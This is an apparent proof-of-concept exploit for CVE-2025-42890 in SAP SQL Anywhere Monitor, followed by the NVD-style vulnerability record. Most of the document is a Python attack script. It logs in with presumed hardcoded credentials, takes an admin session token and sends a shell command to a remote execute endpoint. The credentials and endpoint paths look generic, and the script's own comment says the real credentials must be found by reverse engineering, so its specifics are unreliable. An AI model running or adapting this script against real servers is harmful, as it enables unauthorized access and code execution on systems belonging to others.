CVE-2025-42890

# CVE-2025-42890 PoC - Hardcoded Credentials Exploitation # This PoC demonstrates the exploitation of hardcoded credentials in SQL Anywhere Monitor import requests import base64 # Target configuration TARGET_URL = "http://target-server:5000" VULNERABLE_ENDPOINT = "/api/monitor/authenticate" # Hardcoded credentials (extracted from vulnerable version) # Note: These credentials should be obtained through reverse engineering # the vulnerable binary or configuration files HARDCODED_CREDENTIALS = { "username": "sap_admin", "password": "DefaultPass123!" } def exploit_hardcoded_creds(): """ Exploit hardcoded credentials to gain unauthorized access """ print("[*] CVE-2025-42890 - SQL Anywhere Monitor Hardcoded Credentials Exploit") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate using hardcoded credentials auth_payload = { "username": HARDCODED_CREDENTIALS["username"], "password": HARDCODED_CREDENTIALS["password"] } print("[*] Attempting authentication with hardcoded credentials...") response = requests.post(f"{TARGET_URL}{VULNERABLE_ENDPOINT}", json=auth_payload) if response.status_code == 200: print("[+] Authentication successful!") session_token = response.json().get("session_token") # Step 2: Access protected administrative functions print("[*] Accessing administrative interface...") headers = {"Authorization": f"Bearer {session_token}"} admin_response = requests.get(f"{TARGET_URL}/api/admin/config", headers=headers) if admin_response.status_code == 200: print("[+] Administrative access granted!") # Step 3: Execute arbitrary code print("[*] Executing arbitrary code...") exec_payload = { "command": "whoami", "shell": "/bin/sh" } exec_response = requests.post( f"{TARGET_URL}/api/admin/execute", headers=headers, json=exec_payload ) if exec_response.status_code == 200: print(f"[+] Code execution successful: {exec_response.text}") return True print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_hardcoded_creds()

{"cve": {"id": "CVE-2025-42890", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:37.820", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL Anywhere Monitor (Non-GUI) baked credentials into the code,exposing the resources or functionality to unintended users and providing attackers with the possibility of arbitrary code execution.This could cause high impact on confidentiality integrity and availability of the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://me.sap.com/notes/3666261", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}